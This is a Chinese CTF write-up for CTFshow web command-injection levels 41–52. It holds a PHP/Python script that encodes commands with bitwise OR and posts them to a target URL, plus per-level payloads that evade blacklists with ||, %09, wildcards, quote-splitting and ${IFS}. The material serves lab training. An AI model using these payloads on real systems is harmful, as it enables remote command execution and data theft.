[CTFshow]Web命令执行章节之[41-52]笔记

前言

好,开冲了

图片[1],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web41

图片[2],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[3],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

过滤了0-9 a-z ~ + $[]{}-\等 使用的是post请求

这里直接用脚本 脚本的路径也附上

https://blog.csdn.net/miuzzx/article/details/108569080

把php脚本和python脚本放到一起

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
?>

php脚本会生成rcetxt文件

让后运行python脚本

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

在shell里运行

用法:

python 你的python脚本名字.py <url>

图片[4],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

function 命令函数 使用system

让后运行我们的命令 tac flag.php

图片[5],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web42

图片[6],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[7],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

这个 2>&1是把错误输出绑定到标准输出

>dev/null 把c的命令抛掷黑洞里使其无法执行

双写绕过 is阻断 最后把is抛掷黑洞而分号前面执行

?c=tac flag.php;is
图片[8],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web43

图片[9],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[10],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

过滤了;cat

所以上一关的双写;是无法被识别的

我们使用|| 或者&& 都可以执行 如果使用&&要进行url编码

||是有能够执行就执行 &&是前面执行过在执行后一个

?c=tac flag.php||ls
图片[11],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web44

图片[12],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[13],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

不解释,秒了

?c=tac fla*||ls
图片[14],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web45

图片[15],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[16],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

多过滤了空格 %09 %0a都能过 直接秒

?c=tac%09fla*||ls
图片[17],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web46

图片[18],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[19],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

过滤cat flag 空格 0-9 反斜杠 $ 以及*

空格用%09过滤 虽然是过滤0-9但%09解码之后不属于数字可以使用 flag可以用?绕过

?c=tac%09fla?.php||ls
图片[20],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web47

图片[21],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[22],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[23],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

比上一关过滤了很多读取命令 但是没过滤tac

上一关的payload一把梭

?c=tac%09fla?.php||ls
图片[24],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web48

图片[25],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[26],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

还是没有过滤tac 上上一关的payload照样打 秒了

?c=tac%09fla?.php||ls
图片[27],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web49

图片[28],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[29],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

多了百分号 但是一样%09不会被转义成%上上上一把payload照样打通

?c=tac%09fla?.php||ls
图片[30],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web50

图片[31],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[32],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

%09被过滤了 %26是&&符号也被过滤了这下不得不用不带空格的命令了

方法一

用nl来查看 ”双单引号绕过flag ”命令里默认忽略

?c=nl<fla''g.php||ls
图片[33],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[34],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

方法二

tac查看

?c=tac<fl''ag.php||ls
图片[35],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web51

图片[36],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[37],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

多了tac

上把的nl可以过 当然tac可以用ta”c过

方法一如上一关nl过

?c=nl<fla''g.php||ls
图片[38],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

方法二

tac过

?c=ta''c<fla''g.php||ls
图片[39],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

Web 52

图片[40],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
图片[41],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

过滤的更多了><也给过滤了但是$IFS没有过滤 $IFS在linux中是分隔符的意思

用cp mv进行看看

?c=cp${IFS}fla?.php${IFS}u.txt||ls

发现

图片[42],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

假的flag

列一下根目录

?c=ls${IFS}/||ls
图片[43],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网

flag应该在根目录中

?c=ta''c${IFS}/fla?||ls

拿到flag

图片[44],[CTFshow]Web命令执行章节之[41-52]笔记,网络安全爱好者中心-神域博客网
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容